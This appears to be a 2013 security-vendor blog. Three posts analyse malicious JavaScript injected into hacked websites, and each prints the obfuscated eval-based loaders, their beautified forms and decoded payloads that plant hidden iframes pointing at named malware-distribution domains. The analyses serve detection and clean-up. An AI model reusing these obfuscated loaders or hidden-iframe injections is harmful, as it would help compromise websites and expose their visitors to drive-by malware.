Monday, May 27, 2013

Malicious JavaScript redirects browser to blacklisted domain

Obfuscated malicious JavaScript code generates hidden iframe to contact remote blacklisted domain

Background

Online Website Malware Scanner has identified malicious JavaScript code injection in the scanned website. Such malicious obfuscated JavaScript code is used to build malicious iframe invisible to the website user and which downloads content from remote malware distributor.

This infected website runs on Apache and hosts suspicious JavaScript code injected in file. As discussed in other posts about malicious iframes generation, the attack flow is very similar and contains multiple levels of obfuscation to overcome the detection mechanisms. 

Malicious action

Malicious iframes are often used to distribute malware hosted on external web resources(websites).

Website malware scanner report

Submission date: Mon May 27 08:01:24 2013
Infected website's files: 1
Website malware scan report link: http://goo.gl/gVqo4


Quttera | Website Security Scanner
Quttera | Website Security Scanner screenshot


Quttera | detected malicious JavaScrip in web page
Malicious JavaScript



Threat dump: [[<script type='text/javascript' language='javascript' >
if(window.document)aa=([window][0]+[]).substr(0,2);
aaa=(document+[]).substr(0,2);
if(aa===aaa)
{
ss='';
s=String;
12-function()
{
e=eval;
}
();
t='w';
}
h=-2;
n=["4.5w4.5w52.5w51w16w20w50w55.5w49.5w58.5w54.5w50.5w55w58w23w51.5w50.5w58w34.5w54w50.5w54.5w50.5w55w58w57.5w33w60.5w42w48.5w51.5w39w48.5w54.5w50.5w20w19.5w49w55.5w50w60.5w19.5w20.5w45.5w24w46.5w20.5w61.5w4.5w4.5w4.5w52.5w51w57w48.5w54.5w50.5w57w20w20.5w29.5w4.5w4.5w62.5w16w50.5w54w57.5w50.5w16w61.5w4.5w4.5w4.5w50w55.5w49.5w58.5w54.5w50.5w55w58w23w59.5w57w52.5w58w50.5w20w17w30w52.5w51w57w48.5w54.5w50.5w16w57.5w57w49.5w30.5w19.5w52w58w58w56w29w23.5w23.5w48.5w52.5w51w53.5w59.5w61w23w49.5w52w48.5w55w51.5w50.5w52.5w56w23w55.5w57w51.5w23.5w31.5w51.5w55.5w30.5w25w19.5w16w59.5w52.5w50w58w52w30.5w19.5w24.5w24w19.5w16w52w50.5w52.5w51.5w52w58w30.5w19.5w24.5w24w19.5w16w57.5w58w60.5w54w50.5w30.5w19.5w59w52.5w57.5w52.5w49w52.5w54w52.5w58w60.5w29w52w52.5w50w50w50.5w55w29.5w56w55.5w57.5w52.5w58w52.5w55.5w55w29w48.5w49w57.5w55.5w54w58.5w58w50.5w29.5w54w50.5w51w58w29w24w29.5w58w55.5w56w29w24w29.5w19.5w31w30w23.5w52.5w51w57w48.5w54.5w50.5w31w17w20.5w29.5w4.5w4.5w62.5w4.5w4.5w51w58.5w55w49.5w58w52.5w55.5w55w16w52.5w51w57w48.5w54.5w50.5w57w20w20.5w61.5w4.5w4.5w4.5w59w48.5w57w16w51w16w30.5w16w50w55.5w49.5w58.5w54.5w50.5w55w58w23w49.5w57w50.5w48.5w58w50.5w34.5w54w50.5w54.5w50.5w55w58w20w19.5w52.5w51w57w48.5w54.5w50.5w19.5w20.5w29.5w51w23w57.5w50.5w58w32.5w58w58w57w52.5w49w58.5w58w50.5w20w19.5w57.5w57w49.5w19.5w22w19.5w52w58w58w56w29w23.5w23.5w48.5w52.5w51w53.5w59.5w61w23w49.5w52w48.5w55w51.5w50.5w52.5w56w23w55.5w57w51.5w23.5w31.5w51.5w55.5w30.5w25w19.5w20.5w29.5w51w23w57.5w58w60.5w54w50.5w23w59w52.5w57.5w52.5w49w52.5w54w52.5w58w60.5w30.5w19.5w52w52.5w50w50w50.5w55w19.5w29.5w51w23w57.5w58w60.5w54w50.5w23w56w55.5w57.5w52.5w58w52.5w55.5w55w30.5w19.5w48.5w49w57.5w55.5w54w58.5w58w50.5w19.5w29.5w51w23w57.5w58w60.5w54w50.5w23w54w50.5w51w58w30.5w19.5w24w19.5w29.5w51w23w57.5w58w60.5w54w50.5w23w58w55.5w56w30.5w19.5w24w19.5w29.5w51w23w57.5w50.5w58w32.5w58w58w57w52.5w49w58.5w58w50.5w20w19.5w59.5w52.5w50w58w52w19.5w22w19.5w24.5w24w19.5w20.5w29.5w51w23w57.5w50.5w58w32.5w58w58w57w52.5w49w58.5w58w50.5w20w19.5w52w50.5w52.5w51.5w52w58w19.5w22w19.5w24.5w24w19.5w20.5w29.5w4.5w4.5w4.5w50w55.5w49.5w58.5w54.5w50.5w55w58w23w51.5w50.5w58w34.5w54w50.5w54.5w50.5w55w58w57.5w33w60.5w42w48.5w51.5w39w48.5w54.5w50.5w20w19.5w49w55.5w50w60.5w19.5w20.5w45.5w24w46.5w23w48.5w56w56w50.5w55w50w33.5w52w52.5w54w50w20w51w20.5w29.5w4.5w4.5w62.5"];
n=n[0].split(t);
for(i=0;
i-n.lengthɘ
i++)
{
j=i;
ss=ss+String.fromCharCode(-h*n[j]);
}
if(aa===aaa)e(ss);

 </script>]]


Malware entry


Malware entry details. At the moment this article is written the malware link is unavailable.

Beautified script


Original threat body:

  1. if (window.document) a = ("v532b5".split + Date).substr(0, 6);
  2. aa = ([].reverse + [].reverse).substr(0, 6);
  3. if (=== aa) f = [-30, -30, 66, 63, -7, 1, 61, 72, 60, 78, 70, 62, 71, 77, 7, 64, 62, 77, 30, 69, 62, 70, 62, 71,77, 76, 27, 82, 45, 58, 64, 39, 58, 70, 62, 1, 0, 59, 72, 61, 82, 0, 2, 52, 9, 54, 2, 84, -30, -30, -30, 66, 63,75, 58, 70, 62, 75, 1, 2, 20, -30, -30, 86, -7, 62, 69, 76, 62, -7, 84, -30, -30, -30, 61, 72, 60, 78, 70, 62, 71,77, 7, 80, 75, 66, 77, 62, 1, -5, 21, 66, 63, 75, 58, 70, 62, -7, 76, 75, 60, 22, 0, 65, 77, 77, 73, 19, 8, 8, 83,79, 82, 64, 63, 66, 76, 66, 7, 64, 75, 17, 61, 72, 70, ...
  4. 76, 66, 7, 64, 75, 17, 61, 72, 70, 58, 66, 71, 7, 59, 66, 83, 8, 24, 64, 72, 22, 10, 0, 2, 20, 63, 7, 76, 77, 82,69, 62, 7, 79, 66, 76, 66, 59, 66, 69, 66, 77, 82, 22, 0, 65, 66, 61, 61, 62, 71, 0, 20, 63, 7, 76, 77, 82, 69,62, 7, 73, 72, 76, 66, 77, 66, 72, 71, 22, 0, 58, 59, 76, 72, 69, 78, 77, 62, 0, 20, 63, 7, 76, 77, 82, 69, 62, 7,69, 62, 63, 77, 22, 0, 9, 0, 20, 63, 7, 76, 77, 82, 69, 62, 7, 77, 72, 73, 22, 0, 9, 0, 20, 63, 7, 76, 62, 77, 26,77, 77, 75, 66, 59, 78, 77, 62, 1, 0, 80, 66, 61, 77, 65, 0, 5, 0, 10, 9, 0, 2, 20, 63, 7, 76, 62, 77, 26, 77, 77,75, 66, 59, 78, 77, 62, 1, 0, 65, 62, 66, 64, 65, 77, 0, 5, 0, 10, 9, 0, 2, 20, -30, -30, -30, 61, 72, 60, 78, 70,62, 71, 77, 7, 64, 62, 77, 30, 69, 62, 70, 62, 71, 77, 76, 27, 82, 45, 58, 64, 39, 58, 70, 62, 1, 0, 59, 72, 61,82, 0, 2, 52, 9, 54, 7, 58, 73, 73, 62, 71, 61, 28, 65, 66, 69, 61, 1, 63, 2, 20, -30, -30, 86];
  5. md = 'a';
  6. = window.eval;
  7. = f;
  8. = '';
  9. = 'f' + 'ro' + 'mCh' + 'arCod' + 'e';
  10. for (= 0; i < w.length; i++) {
  11.     s = s + String[g](39 + w[0 + i]);
  12. }
  13. if (=== aa) e('e' + '(' + 's' + ')');

Malicious payload


Decoded payload generates hidden iframe


  1. if (document.getElementsByTagName('body')[0]) {
  2.     iframer();
  3. } else {
  4.     document.write("<iframe src='http://zvygfisi.gr8domain.biz/?go=1' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
  5. }
  6.  
  7. function iframer() {
  8.     var f = document.createElement('iframe');
  9.     f.setAttribute('src', 'http://zvygfisi.gr8domain.biz/?go=1');
  10.     f.style.visibility = 'hidden';
  11.     f.style.position = 'absolute';
  12.     f.style.left = '0';
  13.     f.style.top = '0';
  14.     f.setAttribute('width', '10');
  15.     f.setAttribute('height', '10');
  16.     document.getElementsByTagName('body')[0].appendChild(f);
  17. }


Blacklisting status


The website is Suspicious on Google Safe Browsing.


Google Safe Browsing Analysis

Malware clean-up


Such malware is often hidden inside the JavaScript file. If you suspect that your website was infected by similar malware please use Website Anti-malware Monitoring for remediation assessment.

Thursday, May 23, 2013

Website with RedKit exploit kit pattern redirects visitors to malware distributors

Website redirects browser

Background

Online Website Malware Scanner has identified malicious JavaScript code injection in the scanned website. Such malicious obfuscated JavaScript code is used to build malicious iframe invisible to the website user and which downloads content from remote malware distributor.

This infected website hosts suspicious JavaScript code injected in 33 files. As discussed in other posts about malicious iframes generation, the attack flow is very similar and contains multiple levels of obfuscation to overcome the detection mechanisms. This particular threat resembles RedKit exploit kit and it generates iframes to http://alicebangkokescorts.com/womd.html\?i=898055 which in turn loads malicious images into the web browser.

Malicious action

Malicious iframes are often used to distribute malware hosted on external web resources(websites).

Website malware scanner report

Submission date: Thu May 23 13:33:37 2013
Infected website's files: 33
Website malware scan report link: http://goo.gl/rAQAB

Quttera | website malware scanner
Quttera | Website Malware Scanner sitescan report


malicious iframe
Malicious iframe


Threat dump: [[<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://alicebangkokescorts.com/womd.html?i=898055>]]


Malware entry


Malware entry details.

List of malware loaded during visit of http://alicebangkokescorts.com/womd.html\?i=898055

<img src="http://74.53.143.237/images/gatorbottom.png" alt="" /> 



<embed src="http://74.53.143.237/images/hg728x90.swf?clickTAG=http://secure.hostgator.com/cgi-bin/affiliates/clickthru.cgi?id=page404" width="728" height="90"></embed>



 <div id="xxx"><img src="http://74.53.143.237/images/x.png" alt="" /></div>

Malicious payload


Decoded payload generates hidden iframe to http://alicebangkokescorts.com/womd.html\?i=898055


Blacklisting status


The website is Suspicious on Google Safe Browsing.



Google Safe Browsing analysis


Malware clean-up


Such malware is often hidden inside the JavaScript file. If you suspect that your website was infected by similar malware please use Website Anti-malware Monitoring for remediation assessment.

Monday, May 13, 2013

Website uses JavaScript libraries which are located on remote hacked server and containing JS exploit


Website uses JavaScript libraries containing JS exploit and located on remote hacked server 

Background

Online Website Malware Scanner has identified malicious JavaScript libraries on the scanned website. It looks like the remote and now blacklisted www.omatanet.net was hacked and infected with exploits so that later to be used as intermediate server for malware distribution.

These libraries are injecting hidden  iframe connecting visitor to malware distributor. This infected website hosts suspicious JavaScript code injected in 13 files. As discussed in other posts about malicious iframes generation, the attack flow is very similar and contains multiple levels of obfuscation to overcome the detection mechanisms. 

Malicious action

Malicious iframes are often used to distribute malware hosted on external web resources(websites).

Website malware scanner report

Submission date: Mon May 13 17:21:26 2013
Infected website's files: 13
Website malware scan report link: http://goo.gl/uuqlS



Quttera | Website Malware Scanner
Quttera | Website Malware Scanner


JavaScript exploit detected in 13 files
JavaScript exploit detected in 13 files


Malware entry


Malware entry details.

Beautified script


  1. = eval;
  2. = "0" + "x";
  3. = 0;
  4. try {
  5.     a *= 2
  6. } catch (q) {
  7.     a = 1
  8. }
  9. if (!a) {
  10.     try {
  11.         document["\x62od" + "y"]++
  12.     } catch (q) {
  13.         a2 = "_"
  14.     }
  15.     z ="2f_6d_7c_75_6a_7b_70_76_75_27_2f_30_27_82_14_11_27_27_27_27_7d_68_79_27_6e_7e_69_27_44_27_6b_76_6a_7c_74_6c_75_7b_35_6a_79_6c_68_7b_6c_4c_73_6c_74_6c_75_7b_2f_2e_70_6d_79_68_74_6c_2e_30_42_14_11_14_11_27_27_27_27_6e_7e_69_35_7a_79_6a_27_44_27_2e_6f_7b_7b_77_41_36_36_80_6b_6f_7c_74_6a_6c_7e_35_79_7c_36_6a_76_7c_75_7b_39_37_35_77_6f_77_2e_42_14_11_27_27_27_27_6e_7e_69_35_7a_7b_80_73_6c_35_77_76_7a_70_7b_70_76_75_27_44_27_2e_68_69_7a_76_73_7c_7b_6c_2e_42_14_11_27_27_27_27_6e_7e_69_35_7a_7b_80_73_6c_35_69_76_79_6b_6c_79_27_44_27_2e_37_2e_42_14_11_27_27_27_27_6e_7e_69_35_7a_7b_80_73_6c_35_6f_6c_70_6e_6f_7b_27_44_27_2e_38_77_7f_2e_42_14_11_27_27_27_27_6e_7e_69_35_7a_7b_80_73_6c_35_7e_70_6b_7b_6f_27_44_27_2e_38_77_7f_2e_42_14_11_27_27_27_27_6e_7e_69_35_7a_7b_80_73_6c_35_73_6c_6d_7b_27_44_27_2e_38_77_7f_2e_42_14_11_27_27_27_27_6e_7e_69_35_7a_7b_80_73_6c_35_7b_76_77_27_44_27_2e_38_77_7f_2e_42_14_11_14_11_27_27_27_27_70_6d_27_2f_28_6b_76_6a_7c_74_6c_75_7b_35_6e_6c_7b_4c_73_6c_74_6c_75_7b_49_80_50_6b_2f_2e_6e_7e_69_2e_30_30_27_82_14_11_27_27_27_27_27_27_27_27_6b_76_6a_7c_74_6c_75_7b_35_7e_79_70_7b_6c_2f_2e_43_6b_70_7d_27_70_6b_44_63_2e_6e_7e_69_63_2e_45_43_36_6b_70_7d_45_2e_30_42_14_11_27_27_27_27_27_27_27_27_6b_76_6a_7c_74_6c_75_7b_35_6e_6c_7b_4c_73_6c_74_6c_75_7b_49_80_50_6b_2f_2e_6e_7e_69_2e_30_35_68_77_77_6c_75_6b_4a_6f_70_73_6b_2f_6e_7e_69_30_42_14_11_27_27_27_27_84_14_11_84_30_2f_30_42"["split"](a2);
  16.     za = "";
  17.     for (= 0; i < z.length; i++) {
  18.         za += String["fromCharCode"](e(+ (z[i])) - 5 - 2);
  19.     }
  20.     zaz = za;
  21.     e(zaz);
  22. }



Malicious payload


Decoded payload generates hidden iframe to http://ydhumcew.ru/count20.php


Blacklisting status

The website is Suspicious on Google Safe Browsing.

Google Safe Browsing analysis


Malware clean-up


Such malware is often hidden inside the JavaScript file. If you suspect that your website was infected by similar malware please use Website Anti-malware Monitoring for remediation assessment.